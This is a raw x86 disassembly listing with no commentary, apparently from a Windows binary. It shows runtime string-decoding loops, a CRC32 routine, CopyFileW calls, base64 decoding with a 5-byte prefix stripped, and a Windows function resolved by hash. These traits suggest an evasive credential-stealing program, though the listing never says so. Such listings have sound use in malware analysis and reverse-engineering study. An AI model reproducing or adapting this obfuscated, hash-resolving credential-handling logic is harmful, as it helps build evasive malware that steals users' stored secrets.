lea eax, [eax + 1]
jne 0x427110
push eax
mov dword [ebp - 0x10], eax
call fcn.0040c8c0
add esp, 4
mov ebx, eax
mov dword [ebp - 0x24], esi
mov eax, dword [ebp - 0x34]
mov dword [esi + eax], ebx
mov edx, dword [ebp - 0x10]
mov ecx, edx
shr ecx, 2
mov eax, edi
mov esi, edi
mov edi, ebx
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov eax, edx
and edx, 0xfffffffc
add ebx, edx
add edx, esi
and eax, 3
mov ecx, eax
shr ecx, 1
mov esi, edx
mov dword [ebp - 0x64], ebx
mov edi, ebx
mov ebx, dword [ebp - 0x10]
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov ecx, eax
xor ecx, 0xfffffffe
or eax, 1
and eax, ecx
je 0x427186
mov ecx, ebx
and ecx, 2
add edx, ecx
mov esi, dword [ebp - 0x64]
add esi, ecx
push eax
push edx
push esi
call fcn.0040c8f0
add esp, 0xc
mov ecx, 0xffffffff
cmp ebx, 1
mov edx, dword [ebp - 0x14]
je 0x427020
mov eax, 1
nop
nop
nop
nop
movzx edi, byte [edx + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov esi, edi
shl esi, 0x1d
sar esi, 0x1f
and esi, 0x76dc419
mov ebx, edi
shl ebx, 0x1c
sar ebx, 0x1f
and ebx, 0xedb8832
xor ebx, esi
mov esi, edi
shl esi, 0x1b
sar esi, 0x1f
and esi, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, esi
xor edi, ebx
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x10]
inc eax
cmp ebx, eax
jne 0x4271a0
jmp 0x427020
mov edi, dword [ebp - 0x14]
mov dword [edi], 0xcf80c98f
mov dword [edi + 4], 0xc3a5cda0
mov dword [edi + 8], 0xc754c153
mov dword [edi + 0xc], 0xfb63c55e
mov dword [edi + 0x10], 0xff92f963
mov dword [edi + 0x14], 0xf361fd9b
mov dword [edi + 0x18], 0xf76cf162
mov dword [edi + 0x1c], 0xeb71f56d
mov dword [edi + 0x20], 0xef64e9ba
mov dword [edi + 0x24], 0xe378ed88
mov word [edi + 0x28], 0xe1e0
mov dword [edi + 0x2a], 0
mov word [edi + 0x2e], 0
mov eax, 0x231e5552
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [edi + eax - 0x231e5552]
xor edx, eax
mov ecx, edx
xor ecx, 0x9a
or edx, 0x65
and ecx, edx
add ecx, edx
inc cl
mov byte [edi + eax - 0x231e5552], cl
inc eax
cmp eax, 0x231e5582
jne 0x4272b0
push 0
push edi
mov edi, dword [ebp - 0x2c]
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp case.0x425b38.38
push dword [ebp - 0x2c]
call fcn.0040c8d0
add esp, 4
mov eax, dword [ebp - 0x28]
mov esi, dword [eax]
mov edi, dword [eax + 4]
xor eax, eax
cmp esi, edi
sete al
jmp dword [eax*4 + 0x448e78]
xor ebx, ebx
test esi, esi
je 0x42735b
cmp esi, edi
je 0x42735b
mov dword [ebp - 0x1c], ebx
mov ebx, esi
jmp 0x427327
add ebx, 8
cmp ebx, edi
je 0x427338
mov eax, dword [ebx]
test eax, eax
je 0x427320
push eax
call fcn.0040c8d0
add esp, 4
jmp 0x427320
push esi
call fcn.0040c8d0
add esp, 4
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov ebx, dword [ebp - 0x1c]
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 0
mov edi, dword [ebp - 0x10]
push edi
push dword [esi]
call fcn.00441d10
add esp, 0xc
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448e28]
xor eax, eax
mov edi, dword [ebp - 0x2c]
cmp word [edi], 0x2a
sete al
mov esi, dword [ebp - 0x20]
jmp dword [eax*4 + 0x448e18]
push 0x60
push 3
push 0x120089
push esi
push edi
call fcn.00441990
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448e20]
jmp dword [0x448e70]
push esi
call fcn.0040c8d0
add esp, 4
push esi
call fcn.0040c8d0
add esp, 4
jmp dword [0x448e14]
int3
mov dword [ebp - 0x3c], 0xc185c7eb
mov dword [ebp - 0x38], 0xcd52c350
mov dword [ebp - 0x34], 0xc9adcf80
mov dword [ebp - 0x30], 0xf5a9cb54
mov dword [ebp - 0x2c], 0xf1f6f7db
lea eax, [ebp - 0x28]
mov word [ebp - 0x28], 0
xor ecx, ecx
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ebp + esi - 0x3c]
mov edi, ecx
and edi, 0x22
mov edx, esi
xor edx, 0x7eb36e51
add edx, edi
mov edi, ebx
and edi, edx
add edi, edi
sub edx, edi
add dl, bl
add dl, 0x6b
mov byte [ebp + esi - 0x3c], dl
inc esi
add ecx, 2
cmp esi, 0x16
jne 0x427430
lea esi, [ebp - 0xfc]
lea edx, [ebp - 0x3c]
mov edi, esi
mov ecx, 5
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [ebp - 0xe8]
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea edi, [ebp - 0x48]
push edi
push 0
push 0
push 9
push esi
push 0
call dword [0x44da98]
mov ebx, dword [ebp - 0x48]
test ebx, ebx
jns 0x4274a2
mov eax, 0xffffffff
jmp 0x4274a5
lea eax, [ebx + ebx]
push eax
call fcn.0040c8c0
add esp, 4
push edi
push ebx
push eax
push 9
push esi
push 0
call dword [0x44da98]
mov dword [ebp - 0xa8], 0xc95dcbb0
mov dword [ebp - 0xa4], 0xc55bc745
mov dword [ebp - 0xa0], 0xc14cc355
mov dword [ebp - 0x9c], 0xfdfeff5c
lea eax, [ebp - 0x98]
mov byte [ebp - 0x98], 0
lea ecx, [ebp - 0xa8]
mov edx, 0x2c
nop
nop
nop
nop
movzx esi, byte [ecx]
lea edi, [edx - 0x23d0e300]
or edi, esi
and esi, edx
xor esi, edi
lea edi, [esi + esi]
not edi
add edi, esi
or esi, 0x1f
mov ebx, edi
xor ebx, 0xe0
add ebx, edi
and edi, 0x1f
add edi, esi
sub ebx, edi
mov byte [ecx], bl
inc ecx
dec edx
cmp edx, 0x1b
jne 0x427500
lea edi, [ebp - 0xe8]
lea edx, [ebp - 0xa8]
mov ecx, 4
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [ebp - 0xd8]
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x28]
push eax
sub esp, 8
mov dword [ebp - 0x8c], esp
sub esp, 0x20
mov dword [ebp - 0x70], esp
push eax
mov dword [ebp - 0x40], esp
push eax
mov dword [ebp - 0x5c], esp
sub esp, 0x1c
mov dword [ebp - 0x7c], esp
sub esp, 8
mov dword [ebp - 0xd4], esp
sub esp, 8
mov dword [ebp - 0x58], esp
sub esp, 0x14
mov dword [ebp - 0x64], esp
sub esp, 0x34
mov dword [ebp - 0x6c], esp
sub esp, 0x18
mov dword [ebp - 0x88], esp
sub esp, 8
mov dword [ebp - 0x44], esp
mov dword [ebp - 0x3c], 0xc185c7eb
mov dword [ebp - 0x38], 0xcd52c350
mov dword [ebp - 0x34], 0xc9adcf80
mov dword [ebp - 0x30], 0xf5a9cb54
mov dword [ebp - 0x2c], 0xf1f6f7db
mov word [ebp - 0x28], 0
xor ecx, ecx
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ebp + esi - 0x3c]
mov edi, ecx
and edi, 0x22
mov edx, esi
xor edx, 0x7eb36e51
add edx, edi
mov edi, ebx
and edi, edx
add edi, edi
sub edx, edi
add dl, bl
add dl, 0x6b
mov byte [ebp + esi - 0x3c], dl
inc esi
add ecx, 2
cmp esi, 0x16
jne 0x4275e0
lea ebx, [ebp - 0xfc]
lea edx, [ebp - 0x3c]
mov edi, ebx
mov ecx, 5
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [ebp - 0xe8]
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [ebp - 0x48]
push esi
push 0
push 0
push 9
push ebx
push 0
call dword [0x44da98]
mov edi, dword [ebp - 0x48]
test edi, edi
jns 0x427660
mov eax, 0xffffffff
jmp 0x427663
lea eax, [edi + edi]
push eax
call fcn.0040c8c0
add esp, 4
push esi
push edi
mov dword [ebp - 0x50], eax
push eax
push 9
push ebx
push 0
call dword [0x44da98]
mov dword [ebp - 0xa8], 0xc95dcbb0
mov dword [ebp - 0xa4], 0xc55bc745
mov dword [ebp - 0xa0], 0xc14cc355
mov dword [ebp - 0x9c], 0xfdfeff5c
lea esi, [ebp - 0x98]
mov byte [ebp - 0x98], 0
lea eax, [ebp - 0xa8]
mov ecx, 0x2c
nop
nop
nop
movzx edx, byte [eax]
lea edi, [ecx - 0x23d0e300]
or edi, edx
and edx, ecx
xor edx, edi
lea edi, [edx + edx]
not edi
add edi, edx
or edx, 0x1f
mov ebx, edi
xor ebx, 0xe0
add ebx, edi
and edi, 0x1f
add edi, edx
sub ebx, edi
mov byte [eax], bl
inc eax
dec ecx
cmp ecx, 0x1b
jne 0x4276c0
lea edi, [ebp - 0xe8]
lea edx, [ebp - 0xa8]
mov eax, edx
mov ecx, 4
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [ebp - 0xd8]
xor ecx, ecx
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
jmp dword [0x448f68]
mov dword [ebp - 0x3c], 0x13ab114c
mov dword [ebp - 0x38], 0x6fcd6ddf
mov dword [ebp - 0x34], 0x6bd869df
mov dword [ebp - 0x30], 0x672565d8
mov dword [ebp - 0x2c], 0x63d461c1
mov dword [ebp - 0x28], 0x7fcc7ddd
mov dword [ebp - 0x24], 0x7b7a79f1
lea eax, [ebp - 0x20]
mov dword [ebp - 0x14], eax
mov word [ebp - 0x20], 0
mov ecx, 0x1424ddbc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ebp + ecx - 0x1424ddf8]
mov esi, ecx
and esi, ebx
add esi, esi
sub ebx, esi
add ebx, ecx
mov esi, ebx
xor esi, 0x64b854ac
mov edi, ebx
or edi, 0x9b47ab53
and edi, esi
mov esi, edi
and esi, 0xfd
mov eax, ebx
and eax, 2
or edi, 2
imul edi, eax
xor eax, 2
imul eax, esi
xor ebx, 0x53
add ebx, eax
add ebx, edi
inc bl
mov byte [ebp + ecx - 0x1424ddf8], bl
inc ecx
cmp ecx, 0x1424ddda
jne 0x427770
lea eax, [ebp - 0x3c]
mov ecx, 7
mov edi, edx
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [ebp - 0x8c]
xor ebx, ebx
xor ecx, ecx
mov eax, dword [ebp - 0x14]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov dword [ebp - 0x3c], 0x13fb11dc
mov dword [ebp - 0x38], 0x1ffd1d8f
mov dword [ebp - 0x34], 0x1b88198f
mov dword [ebp - 0x30], 0x7f605e8
mov dword [ebp - 0x2c], 0x3c001fc
lea esi, [ebp - 0x28]
mov word [ebp - 0x28], 0xd0c
mov dword [ebp - 0x26], 0
mov byte [ebp - 0x22], 0
nop
nop
nop
movzx eax, byte [ebp + ebx - 0x3c]
lea ecx, [ebx + 0x1bda9744]
and ecx, eax
add eax, ebx
add eax, 0x1bda9744
add ecx, ecx
sub eax, ecx
mov ecx, eax
and ecx, 0x2b
add ecx, ecx
xor eax, 0x54
sub ecx, eax
mov byte [ebp + ebx - 0x3c], cl
lea eax, [ebx + ebx]
and eax, 2
mov ecx, eax
and ecx, ebx
xor eax, ebx
xor eax, 1
lea ebx, [eax + ecx*2]
cmp ebx, 0x1b
jb case.default.0x427916
lea ebx, [ebp - 0x112]
lea eax, [ebp - 0x3c]
mov edi, ebx
mov ecx, 5
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [ebp - 0xfe]
mov ecx, 1
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
mov eax, dword [ebp - 0x8c]
lea ecx, [ebp - 0xe8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [eax + 8], ebx
mov eax, dword [ebp - 0x7c]
add eax, 0x17
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x44]
add eax, 4
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x50]
add eax, 2
mov dword [ebp - 0x78], eax
mov esi, dword [ebp - 0x70]
mov eax, esi
add eax, 2
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x64]
add eax, 2
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x6c]
add eax, 2
mov dword [ebp - 0xc0], eax
mov ecx, dword [ebp - 0x88]
mov eax, ecx
add eax, 2
mov dword [ebp - 0xbc], eax
xor edx, edx
xor eax, eax
mov dword [ebp - 0x54], 0
cmp edx, 0xc
setne al
lea edx, [esi + 0x1a]
mov dword [ebp - 0xd0], edx
add ecx, 0x12
mov dword [ebp - 0xc4], ecx
xor ecx, ecx
jmp dword [eax*4 + 0x448f70]
jmp dword [0x448f78]
push dword [ebp - 0x50]
call fcn.0040c8d0
add esp, 4
mov eax, dword [ebp - 0x54]
and al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [ebp - 0xd8]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
mov esi, dword [ebp - 0x70]
jmp dword [eax*4 + 0x448f70]
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xd8], ecx
mov edi, dword [eax + ecx]
mov eax, 0xfffffffe
nop
cmp word [edi + eax + 2], 0
lea eax, [eax + 2]
jne 0x427970
mov dword [ebp - 0x84], eax
mov edx, eax
sar edx, 1
mov eax, dword [ebp - 0x48]
lea ecx, [edx + eax]
mov dword [ebp - 0x60], edx
add edx, eax
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x4279a3
mov eax, 0xffffffff
mov dword [ebp - 0x68], edi
push eax
call fcn.0040c8c0
add esp, 4
mov edi, eax
mov eax, dword [ebp - 0x50]
movzx ecx, word [eax]
mov eax, edi
test cx, cx
je 0x4279e1
mov edx, dword [ebp - 0x78]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4279d0
mov dword [ebp - 0x4c], edi
mov word [eax], 0x5c
mov dword [esi], 0x9f529944
mov dword [esi + 4], 0xa3459d6f
mov dword [esi + 8], 0xa74aa141
mov dword [esi + 0xc], 0xab7da584
mov dword [esi + 0x10], 0xaf4fa95c
mov dword [esi + 0x14], 0xb357ad58
mov word [esi + 0x18], 0xb1b0
mov ecx, dword [ebp - 0xd0]
mov word [ecx + 4], 0
mov dword [ecx], 0
mov ecx, 0xd6f2697
nop
movzx edi, byte [esi + ecx - 0xd6f2697]
lea esi, [ecx - 0xd6f263d]
and esi, edi
mov ebx, esi
and ebx, 0x7d
mov edx, esi
or edx, 0xfffffffd
inc edx
imul edx, ebx
mov ebx, esi
and ebx, 2
or esi, 2
imul esi, ebx
add edx, edi
sub edx, esi
mov esi, dword [ebp - 0x70]
add edx, ecx
mov ebx, edx
xor ebx, 0xfe
or edx, 1
and ebx, edx
add ebx, edx
mov byte [esi + ecx - 0xd6f2697], bl
inc ecx
cmp ecx, 0xd6f26b7
jne 0x427a30
add eax, 2
mov edx, dword [ebp - 0x68]
movzx ecx, word [edx]
test cx, cx
je 0x427ab1
add edx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427aa0
mov word [eax], 0
movzx ecx, word [esi]
test cx, cx
mov edi, dword [ebp - 0x6c]
mov ebx, dword [ebp - 0x4c]
je 0x427af0
mov edx, dword [ebp - 0xcc]
mov esi, dword [ebp - 0x40]
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427ad0
jmp 0x427af3
mov esi, dword [ebp - 0x40]
mov word [eax], 0
push 0x60
push 3
push 0x120089
push esi
push ebx
call fcn.00441990
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448f80]
mov esi, ebx
xor ebx, ebx
jmp dword [0x448fd0]
push esi
call fcn.0040c8d0
add esp, 4
movzx eax, bl
jmp dword [eax*4 + 0x448fd8]
push 0
push dword [ebp - 0x5c]
push dword [esi]
call fcn.00441d10
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [ebp - 0x10], 0
jmp dword [eax*4 + 0x448f98]
mov eax, dword [ebp - 0x5c]
mov esi, dword [eax]
lea eax, [esi + 1]
push eax
call fcn.0040c8c0
add esp, 4
push 0
push esi
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x74], eax
push eax
push dword [esi]
call fcn.00441e00
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x10], 0
jmp dword [eax*4 + 0x448fa0]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x74]
mov byte [ecx + eax], 0
push ecx
call fcn.00403e40
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x10], 0
jmp dword [ecx*4 + 0x448fa8]
jmp dword [0x448fc8]
push dword [ebp - 0x74]
call fcn.0040c8d0
add esp, 4
mov eax, dword [esi]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x3c], 0x7c7d7a7b
lea eax, [ebp - 0x3c]
mov byte [eax + 6], 0
mov word [eax + 4], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebp - 0x14], ebx
movzx edx, byte [ebp + ecx - 0x3c]
mov eax, ecx
xor eax, 0x6406dfbd
mov edi, ebx
and edi, 4
sub edi, eax
lea eax, [edi + 0xa7]
and eax, edx
mov esi, eax
and esi, 0xfffffffd
mov ebx, eax
or ebx, 0xfd
inc ebx
imul ebx, esi
mov esi, eax
and esi, 2
or eax, 2
imul eax, esi
sub ebx, eax
lea eax, [edi + edx]
add eax, 0xa7
add eax, ebx
mov ebx, dword [ebp - 0x14]
add al, 0x6e
mov byte [ebp + ecx - 0x3c], al
inc ecx
add ebx, 2
cmp ecx, 7
jne 0x427c00
mov ecx, dword [0x44da9c]
test ecx, ecx
mov edi, dword [ebp - 0x6c]
mov ebx, dword [ebp - 0x4c]
je 0x427ca0
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov esi, dword [0x44daa0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [esi + edx*8], 0xb62b8d10
je 0x427c90
inc edx
cmp ecx, edx
jne 0x427c80
jmp 0x427ca0
mov ecx, dword [esi + edx*8 + 4]
cmp ecx, eax
jne 0x427f9f
nop
nop
nop
nop
mov esi, ebx
mov ebx, dword [ebp - 0x10]
jmp dword [0x448fd0]
movzx eax, bl
jmp dword [eax*4 + 0x448fd8]
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x60]
add eax, ecx
inc eax
mov ecx, eax
and ecx, 0x16
xor eax, 0x16
lea ecx, [eax + ecx*2]
lea eax, [ecx + ecx]
test ecx, ecx
jns 0x427cd5
mov eax, 0xffffffff
push eax
call fcn.0040c8c0
add esp, 4
mov esi, eax
mov eax, dword [ebp - 0x50]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x427d11
mov edx, dword [ebp - 0x78]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427d00
mov dword [ebp - 0x4c], esi
mov word [eax], 0x5c
mov dword [edi], 0xb1c28ff0
mov dword [edi + 4], 0xb5d7b321
mov dword [edi + 8], 0xb9dab7d7
mov dword [edi + 0xc], 0xbdcfbb98
mov dword [edi + 0x10], 0xa12fbf28
mov dword [edi + 0x14], 0xa5c1a332
mov dword [edi + 0x18], 0xa9c1a7cd
mov dword [edi + 0x1c], 0xadc6abd4
mov dword [edi + 0x20], 0xd138afcb
mov dword [edi + 0x24], 0xd5bed3b7
mov dword [edi + 0x28], 0xd9b4d7b0
mov word [edi + 0x2c], 0xdbd8
mov dword [edi + 0x2e], 0
xor ecx, ecx
mov dl, 0x62
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dh, byte [edi + ecx]
xor dh, dl
mov bl, 0xee
sub bl, dh
mov byte [edi + ecx], bl
inc ecx
dec dl
cmp ecx, 0x32
jne 0x427d80
add eax, 2
mov ebx, dword [ebp - 0x68]
movzx ecx, word [ebx]
test cx, cx
je 0x427dc1
lea edx, [ebx + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427db0
mov word [eax], 0
movzx ecx, word [edi]
test cx, cx
je 0x427df1
mov edx, dword [ebp - 0xc0]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427de0
mov word [eax], 0
mov eax, dword [ebp - 0x84]
add eax, 0x12
cmp dword [ebp - 0x60], 0xfffffff7
jge 0x427e0a
mov eax, 0xffffffff
push eax
call fcn.0040c8c0
add esp, 4
mov esi, dword [ebp - 0x88]
mov dword [esi], 0x71c27f8d
mov dword [esi + 4], 0x75c473d7
mov dword [esi + 8], 0x49ca77d3
mov dword [esi + 0xc], 0x4de84bec
mov word [esi + 0x10], 0x4f4c
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], 0
mov word [ecx + 4], 0
xor edx, edx
nop
nop
mov ecx, edx
add cl, 0x95
xor cl, byte [esi + edx]
add cl, 0x17
mov byte [esi + edx], cl
inc edx
cmp edx, 0x18
jne 0x427e50
movzx ecx, word [ebx]
mov edi, eax
test cx, cx
je 0x427e91
add ebx, 2
mov edi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], cx
add edi, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x427e80
mov word [edi], 0
movzx ecx, word [esi]
test cx, cx
mov dword [ebp - 0x14], eax
je 0x427ec1
mov edx, dword [ebp - 0xbc]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], cx
add edi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427eb0
mov word [edi], 0
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x393a3bea
mov eax, dword [ebp - 0xc8]
mov byte [eax + 2], 0
mov word [eax], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 0x44]
movzx edx, byte [edx + ecx]
mov edi, eax
and edi, 6
mov ebx, ecx
xor ebx, 0x3d1b2c4b
add ebx, edi
mov edi, ebx
or edi, edx
not edx
or ebx, edx
sub edx, ebx
add edx, edi
add dl, 0x89
mov edi, dword [ebp - 0x44]
mov byte [edi + ecx], dl
mov edx, dword [ebp - 0x44]
inc ecx
add eax, 2
cmp ecx, 7
jne 0x427ef0
push 0
push 0
push 0xc00000
push edx
mov edi, dword [ebp - 0x4c]
push edi
mov esi, dword [ebp - 0x14]
push esi
push dword [ebp + 8]
call fcn.00420380
add esp, 0x1c
mov ecx, dword [ebp - 0x54]
and cl, 1
or cl, al
mov dword [ebp - 0x54], ecx
jmp dword [0x448fe0]
push esi
call fcn.0040c8d0
add esp, 4
jmp dword [0x448fe8]
jmp dword [0x448fe8]
jmp dword [0x448ff4]
push edi
call fcn.0040c8d0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push edi
call fcn.0040c8d0
add esp, 4
jmp dword [0x448ff8]
mov esi, ebx
push dword [ebp - 0x18]
push 1
push ecx
push dword [0x44daa4]
call fcn.0043e1f0
add esp, 0x10
mov ebx, dword [ebp - 0x10]
jmp dword [0x448fd0]
mov dword [ebp - 0xb8], eax
push eax
call fcn.00404790
add esp, 4
mov edx, dword [ebp - 0x7c]
mov dword [edx], 0xa0bdd2af
mov dword [edx + 4], 0xd3d6dcd6
mov dword [edx + 8], 0xa8a4ac66
mov dword [edx + 0xc], 0xdbded4de
mov dword [edx + 0x10], 0x988d9595
mov word [edx + 0x14], 0xec91
mov byte [edx + 0x16], 0x76
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], 0
mov byte [ecx + 4], 0
xor ebx, ebx
nop
nop
mov ecx, ebx
add cl, 0x90
xor cl, byte [edx + ebx]
add cl, 0x30
mov byte [edx + ebx], cl
mov ecx, ebx
xor ecx, 1
and ebx, 1
lea ebx, [ecx + ebx*2]
cmp ebx, 0x1c
jb 0x428010
push edx
push eax
call fcn.004048d0
add esp, 8
mov edx, 0xffffffff
mov ecx, 0xfffffffd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add ecx, 3
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x428050
shr ecx, 2
mov esi, edx
mov dword [ebp - 0x14], edx
movzx edx, byte [eax + edx - 1]
cmp edx, 0x3d
je 0x428074
cmp edx, 0x2e
jne 0x428075
dec ecx
mov edx, dword [ebp - 0x14]
movzx edx, byte [eax + edx - 2]
cmp edx, 0x3d
mov dword [ebp - 0x80], eax
je 0x42808a
cmp edx, 0x2e
jne 0x42808b
dec ecx
mov dword [ebp - 0xb4], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040c8c0
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x14], 0
je 0x4281a9
xor esi, esi
mov ebx, 2
jmp 0x4280d2
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebx + 4]
add ebx, 2
mov esi, ecx
cmp ebx, edx
mov ebx, eax
jae 0x4281a9
mov edi, dword [ebp - 0x80]
movzx eax, byte [edi + ebx - 2]
push eax
call fcn.0041d0d0
add esp, 4
mov byte [ebp - 0x10], al
movzx eax, byte [edi + ebx - 1]
push eax
call fcn.0041d0d0
mov edx, dword [ebp - 0x14]
add esp, 4
movzx ecx, byte [ebp - 0x10]
shl cl, 2
mov byte [ebp - 0x10], al
shr al, 4
and al, 3
or al, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + esi], al
mov eax, esi
lea ecx, [esi + 1]
cmp ebx, edx
jae 0x4280c0
movzx eax, byte [edi + ebx]
push eax
mov edi, ecx
call fcn.0041d0d0
mov ecx, edi
mov edx, dword [ebp - 0x14]
add esp, 4
cmp al, 0x40
je 0x4280c0
mov ah, byte [ebp - 0x10]
shl ah, 4
mov ecx, eax
xor cl, 0xc0
mov edx, eax
or dl, 0x3c
and dl, cl
shr dl, 2
add dl, ah
mov edi, esi
lea ecx, [esi + 2]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x18]
mov byte [ecx + esi + 1], dl
mov edx, dword [ebp - 0x14]
lea ecx, [ebx + 1]
cmp ecx, edx
jae 0x4280b6
mov byte [ebp - 0x19], al
mov eax, dword [ebp - 0x80]
movzx eax, byte [eax + ebx + 1]
push eax
call fcn.0041d0d0
add esp, 4
cmp al, 0x40
je 0x4280b3
movzx ecx, byte [ebp - 0x19]
shl cl, 6
add al, cl
mov edx, esi
mov ecx, esi
and ecx, 1
mov esi, dword [ebp - 0x10]
xor esi, 1
lea esi, [esi + ecx*2]
mov ecx, dword [ebp - 0x18]
mov byte [ecx + edx + 2], al
mov ecx, esi
mov edx, dword [ebp - 0x14]
jmp 0x4280c0
mov eax, dword [ebp - 0xb4]
add eax, 0xfffffffb
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
add eax, 5
mov dword [ecx + 4], eax
mov ebx, dword [ebp - 0x58]
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x14e20a34
push dword [0x44daa8]
mov edi, ecx
call fcn.00440ed0
add esp, 8
push ebx
push 0
push 0
push 0
push 0
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
mov esi, dword [ebp - 0x40]
jmp dword [ecx*4 + 0x448fb0]
mov dword [ebp - 0x10], 0
xor ebx, ebx
jmp dword [0x448fc0]
mov eax, dword [ebp - 0x84]
add eax, 0x10
cmp dword [ebp - 0x60], 0xfffffff8
mov ebx, 0
jge 0x42822f
mov eax, 0xffffffff
push eax
call fcn.0040c8c0
add esp, 4
mov edi, eax
